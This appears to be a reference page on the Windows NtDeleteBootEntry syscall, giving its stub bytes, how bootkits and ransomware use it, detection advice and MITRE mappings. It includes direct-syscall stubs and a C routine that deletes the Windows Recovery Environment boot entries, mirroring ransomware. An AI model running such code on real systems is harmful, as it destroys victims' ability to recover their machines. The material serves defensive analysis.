NtDeleteBootEntry

Prototype

NTSTATUS NtDeleteBootEntry(
  ULONG Id
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 D9 00 00 00      mov eax, 0xD9
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

Single-argument syscall — just the BCD ID. Maps to `BcdDeleteObject` in user mode and to `bcdedit /delete {GUID}` on the command line. Requires SeSystemEnvironmentPrivilege. On UEFI the kernel issues an `EFI_SET_VARIABLE` with `DataSize = 0` against the matching `Boot####` NVRAM variable, which is the firmware-defined deletion semantic.

Common malware usage

Bootkits use NtDeleteBootEntry for **forensic cleanup** and **anti-recovery**. Forensic cleanup: after using a temporary boot entry to flash a UEFI implant (the LoJax / MosaicRegressor pattern), delete the helper entry so a post-incident `bcdedit /enum FIRMWARE` shows nothing. Anti-recovery: ransomware (notoriously a TrickBoot-derived stage) deletes the `{recovery}` and Windows RE entries so victims cannot boot WinRE to restore from VSS or repair MBR/GPT. Wipers go further and delete `{bootmgr}` itself to brick the host post-encryption.

Detection opportunities

ETW Microsoft-Windows-Kernel-Boot is the primary source; the deletion event identifies the removed GUID. Combine with a periodic enumeration snapshot — if an entry present in last night's `bcdedit /enum FIRMWARE` is absent today **without** a corresponding admin action ticket, that is a high-confidence alert. The deletion of `{default}`, `{bootmgr}` or any `{recovery*}` GUID should be treated as a destructive-attack indicator (BCDEdit ransomware playbook) and trigger an immediate VSS/backup integrity check.

Direct syscall examples

NtDeleteBootEntry PROC
    mov  r10, rcx          ; ULONG Id
    mov  eax, 0D9h         ; Win11 24H2
    syscall
    ret
NtDeleteBootEntry ENDP

// Mirrors what ransomware does after encryption to prevent WinRE-based recovery.
// Public defensive analysis only.
NTSTATUS sweep_recovery(void) {
    // IDs harvested from NtEnumerateBootEntries; filter on FriendlyName == "Windows Recovery Environment".
    ULONG recovery_ids[] = { 0x10, 0x11 };
    for (size_t i = 0; i < ARRAYSIZE(recovery_ids); ++i) {
        NTSTATUS s = NtDeleteBootEntry(recovery_ids[i]);
        if (!NT_SUCCESS(s)) return s;
    }
    return STATUS_SUCCESS;
}

use std::arch::asm;

#[unsafe(naked)]
unsafe extern "system" fn nt_delete_boot_entry(_id: u32) -> i32 {
    asm!(
        "mov r10, rcx",
        "mov eax, 0xD9",   // Win11 24H2
        "syscall",
        "ret",
        options(noreturn),
    );
}

MITRE ATT&CK mappings

• T1542.003Pre-OS Boot: Bootkitmitre ↗
• T1490Inhibit System Recoverymitre ↗
• T1542Pre-OS Bootmitre ↗